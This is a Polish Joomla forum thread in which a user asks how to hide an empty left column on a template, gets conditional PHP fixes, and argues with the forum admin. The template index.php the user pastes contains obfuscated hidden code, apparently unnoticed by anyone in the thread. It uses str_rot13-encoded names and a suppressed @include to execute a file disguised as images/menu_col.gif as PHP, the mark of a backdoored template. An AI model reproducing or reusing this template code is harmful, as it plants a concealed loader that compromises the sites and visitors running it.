PDA

Zobacz pełną wersję : [Szablon] Ukrywanie menu



Gusto
28-06-2009, 17:33
Stworzyłem szablon oparty o England Football FanZone, tylko teraz jest on w 100% przebudowany. Przeniosłem lewe menu, na poprawne lewo nie jak wcześniej gdzie było koło prawego. Teraz jest tak lewe,maincolumb i prawe. I chcę, aby lewe wyświetlało się jedynie na stronie głównej. Wiem, że ustawia się to w panelu admina. Wszystko je na lewe wyłączone na reszcie strony, ale pozostaje mi puste miejsce po tym. Co zrobić, aby ono znikało i artykuł pojawiał się również na nim?

Rybik
29-06-2009, 00:58
ująć kod html odpowiedzialny za pokazywanie lewej kolumny w znaczniki


<?php if ($this->countModules('left')) : ?>
tutaj kod wyświetlania lewej kolumny
<?php endif; ?>

Pozostaje jeszcze dostosowanie reszty szablonu. Na kiedy, za ile ?

Gusto
29-06-2009, 10:06
Teraz mam tak, więc co mam zmienić? Jak wszystko mam tak samo zapisane. Czy w css, trzeba coś zmieniać?

<div id="leftcolumn">
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?>
</div>

A tutaj cały plik index.php

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('teamVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg_<?php echo $this->params->get('backgroundVariation'); ?>">
<a name="up" id="up"></a>
<div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
<div id="middle_bg">
<div id="logo_bg">
<a href="./"><?php if($this->params->get('hideLogo') == 0){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/logo.png" alt="logo" align="left" /><?php }else{ ?><div id="nologo">&nbsp;</div><?php } ?></a>
<div id="banner"><jdoc:include type="modules" name="banner" /></div>
<div id="user4"><jdoc:include type="modules" name="user4" /></div>
<br clear="all" />
</div>

<div id="user3">
<div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
<?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('l dS \of F Y'); ?></div><?php endif; ?>
<br clear="all" />
</div>
<?php if($this->params->get('hideBannerArea') == 0) : ?>
<div id="banner_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/banner.jpg" alt="team banner" align="left" />
<div id="newsflash"><jdoc:include type="modules" name="top" /></div>
<br clear="all" />
</div>
<?php endif; ?>
<div id="leftcolumn">
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>
<br clear="all" />
</div>
<div id="user3">
<div id="pillmenu"><jdoc:include type="modules" name="user2" /></div>
<br clear="all" />
</div>


<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
</div>

<jdoc:include type="modules" name="debug" />

</body>
</html>

Link do css: http://www.sendspace.com/file/34ll9u

Rybik
29-06-2009, 10:24
diva "leftcolumn" tam jeszcze wrzuc pod ifa

Gusto
29-06-2009, 10:31
Jeśli dobrze zrozumiałem, to ma to tak wyglądać?

div id="leftcolumn">
<?php if($this->countModules('leftcolumn')) : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?>
</div>

Edit:
Nadal jest tak samo, zostaje puste miejsce :( To zaznaczone na niebiesko.
[img=http://img218.imageshack.us/img218/6982/bezaa2.th.jpg] (http://img218.imageshack.us/i/bezaa2.jpg/)

zwiastun
29-06-2009, 11:10
<?php if($this->countModules('left')) : ?>
div id="leftcolumn">

<jdoc:include type="modules" name="left" style="xhtml"/>

</div>
<?php endif; ?>

Gusto
29-06-2009, 11:34
Dzięki, działa :) Ale jest problem z MainColumn, bo było ustawione na 524px, więc artykuł również był w takiej szerokości, zmieniłem aby zajmowało całe wolne pole i przenosi mi z nie wiadomego powodu right na sam dół. W czym twki problem? Jak ustawić, aby się automatycznie dopasowywało?

Edit:
Dając auto i 100%, wszystko zajmuje artykuł, zamiast z prawej strony być jeszcze menu.

zwiastun
29-06-2009, 11:41
Zarówno to pytanie, jak i problem, który Ci rozwiązałem poprzednią odpowiedzią wskazują, że Twoja wiedza o projektowaniu szablonów jest na poziomie "słyszałeś jak to się robi, a nawet czytałaś", ale jeszcze nie bardzo rozumiesz. W odniesieniu do szablonów 1.0 jest obszerny poradnik na www.pomoc.joomla.pl, w odniesieniu do szablonów 1.5 sporo materiałów na wiki.joomla..pl

Gusto
29-06-2009, 11:51
Przepraszam, ale z tej wiki i pomoc nic nie rozumie. Wolę aby ktoś to logicznym językiem wytłumaczył.

Niestety, ale to jest mało logiczne dla mnie. Chce tylko, aby maincolum dopasowywało się automatycznie, do pustego miejsca.

zwiastun
29-06-2009, 12:03
Gusto - nie przepraszaj, by zaraz w podtekście obrażać. Projektowanie szablonów nie jest banalną umiejętnością, którą opanowuje się po przeczytaniu jednego czy dwóch tekstów i obejrzeniu jakiegoś kodu.
Fakt, że nie rozumiesz - tak w ogóle, bo nie wskazujesz na jakiś niezrozumiały dla Cię element - świadczy albo o tym, że nie poczytałeś albo o tym, że w całości to dla Cię za trudne.

Gusto
29-06-2009, 12:13
Nie będę dla jakieś jednej głupoty studiował wszystkich tekstów. Jak możesz to pomóż mi tu na forum, nie odsyłaj do jakiś stron gdzie i tak połowa tekstów jest nie zrozumiała, albo po angielsku.

zwiastun
29-06-2009, 12:21
Proponuję Ci zatem:
a) zapoznać się z regulaminem forum
b) następnym razem zastanowić się nad tym co piszesz.
Jeśli czegoś nie umiesz robić, nie znasz się na tym i nie chce Ci się poczytać, jak to się robi, to się po prostu za to nie bierz!

Gusto
29-06-2009, 12:35
No bardzo pomocny z ciebie człowiek, wszystko czytać każdy mam. Od tego jest forum, aby się spytać i uzyskać odpowiedź. A nie dostać odnośnik do stron w których i tak nic nie ma.

zwiastun
29-06-2009, 12:51
Uzyskałeś odpowiedź, uzyskałeś poradę, dostałeś poprawiony kod. Mało? Szkoda słów!

Gusto
29-06-2009, 12:58
Ale zadałem drugie pytanie i oczekuję, że jakiś mnie arogancki człowiek mi odpowie.

zwiastun
29-06-2009, 13:01
Nie brakuje Ci tupetu - właśnie ściągnąłem Twój arkusz stylów, ale wobec takiego dictum powędrował do kosza. Może Ci mniej "arogancki" człowiek odpowie!

Gusto
29-06-2009, 13:53
;) I poprawnie, dodaj mnie jeszcze do listy ignorowanych i po kłopocie.

zwiastun
29-06-2009, 14:00
Jeśli się będziesz tak zachowywać, po prostu usunę Cię z forum. Zapominasz się. Jesteś tu Gościem. Tu - to znaczy na forum, na którym ja jestem gospodarzem i które ja utrzymuję. Bądź zatem łaskaw zachowywać się jak gość!

Gusto
29-06-2009, 14:33
Niech ci będzie już :) Nie mam zamiaru z tobą prowadzić wojny.

Gusto
30-06-2009, 15:57
Zrobiłem wszystko według tej instrukcji - http://wiki.joomla.pl/Ukrywanie_kolumn, ale wyświetla mi się wszystko na całej stronie i nie wiem co zrobić z tym fantem. Dodam, że szerokość jest dopasowywana przy pomocy px, nie przy % bo jest mi jednak wygodniej tak robić. Dodałem w załączniku moje pliki jak ktoś może, niech je zobaczy i co jest źle w nich.

sunpietro
30-06-2009, 22:06
ostatnio znalazłem taki kod do ukrywania części szablonu


<jdoc:exists type="modules" condition="moduleposition">
tutaj kod który ma coś robić gdy istnieje moduł
</jdoc>

ktoś się tym już bawił?

Gusto
30-06-2009, 22:32
Tu mi nasz kochany admin zwiastun, pomagał - http://forum.joomla.pl/showpost.php?p=122120&postcount=6

Gusto
01-07-2009, 20:20
To pomoże ktoś z tym stylem?